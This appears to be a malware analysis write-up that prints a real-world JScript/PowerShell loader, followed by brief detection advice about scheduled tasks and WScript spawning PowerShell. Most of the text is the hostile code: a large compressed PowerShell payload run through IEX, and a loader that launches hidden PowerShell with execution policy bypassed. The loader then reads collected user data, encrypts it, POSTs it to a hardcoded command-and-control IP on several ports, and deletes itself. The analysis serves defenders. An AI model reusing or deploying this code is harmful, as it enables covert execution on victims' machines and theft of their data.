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
'@
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress);
$UncompressedFileBytes = New-Object Byte[](63149)
$DeflatedStream.Read($UncompressedFileBytes, 0, 63149) | Out-Null
([Text.Encoding]::ASCII.GetString($UncompressedFileBytes)) | IEX
";
 var jsLoaderPS1 = "59d76612d0bf51.62744684.ps1"; 
 var jsLoaderRunDir = "{453359DE-4049-82E2-E58D-F96EEF430F04}";
 
 var fldr = sh.ExpandEnvironmentStrings("%HOMEPATH%") + "\\" + jsLoaderDir + "\\" + jsLoaderRunDir;
 
 if (fso.FolderExists( sh.ExpandEnvironmentStrings("%WINDIR%") + "\\SysWOW64" ))
       var powershell_pthpath = sh.ExpandEnvironmentStrings("%WINDIR%") + "\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"; 
    else 
        var powershell_pthpath = sh.ExpandEnvironmentStrings("%WINDIR%") + "\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";

 var p = fldr + "\\" + jsLoaderPS1; 
 
 var vers = "3";
 var uuid = "1";
 var com_pref = "oc06";
 var botSufx = "_oOG4DHP3g";
 var kkid = "203";
 var alfIn  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
 var alfOut = "Dt4bzk9T0fOQVvo2Mw1JgnZR5PhFaBG3cYWiUAjHNIdXCql8rspSLEuy7x6mKe";
 var sepr = "%SEPR%";
 var botId = cuid() + botSufx;
 botId = vers + "-" + uuid + "-" + com_pref + "-" + botId;
 var urlArr = [];
 urlArr[0] = "http://31.148.220.215:80/cd";
urlArr[1] = "http://31.148.220.215:443/cd";
urlArr[2] = "http://31.148.220.215:8080/cd";
urlArr[3] = "http://31.148.220.215:53/cd";
urlArr[4] = "google.com";

 
 pausecomp( 2 * 60 * 1000 );
 
 var f = fso.OpenTextFile(p,2,1);
 f.Write( b64dec(PS1Body) );
 f.Close(); 

 cmd = powershell_pthpath + ' -version 2.0 -NoP -NonI -ExecutionPolicy Bypass -WindowStyle Hidden -File "' + p + '"';
 sh.Run(cmd, 0, false);
 
 pausecomp( 5 * 60 * 1000 );
 try{ fso.DeleteFile(p, true); }catch(e){}
 
 var usrName = sh.ExpandEnvironmentStrings("%USERNAME%");
 p = sh.ExpandEnvironmentStrings("%APPDATA%") + "\\" + usrName + ".ini"; 
 var outData = readFile(p); 

 try{ fso.DeleteFile(p, true); }catch(e){} 
 var contentsHtml = "";

 outData = b64enc(outData);
 outData = "stels" + sepr + outData;
 var entry = randomParamName();
 var v = encodeURI(SimpleEncrypt(outData))
 contentsHtml = downLoadUrl("POST", urlArr, randomUrl(botId), entry + "=" + v);
 
 fso.DeleteFile(WScript.ScriptFullName, true); 
}catch(e){}
*/}).toString().slice(16,-4);

try {
 lalala();
} catch(e) {
 eval(evalString); 
}

The payload is dropped from the IP  31.148.220.215/cd as can be seen in the script above.

To detect this threat, as it has a very unique Schedule Task, can be detected checking all the schedule tasks with the string "user\", where the maliciuos script is allocated. For example, the following PowerShell command could be executed with a script across different system




What other useful Use Cases can be used to detect this threat?

Any JS script executed using a TXT file is an anormal behaviour, for example:





Any Wscript command spawing PowerShell



Any created schedule tasks which uses a file from a user directory





The technique of embedding malicious code in office document via OLE objects is not new at all. Monitoring the processes created by office applications or WScript commands executed is a good source of spotting malicious activity. The schedule tasks in user space is also a good source of potential maliciuos activity.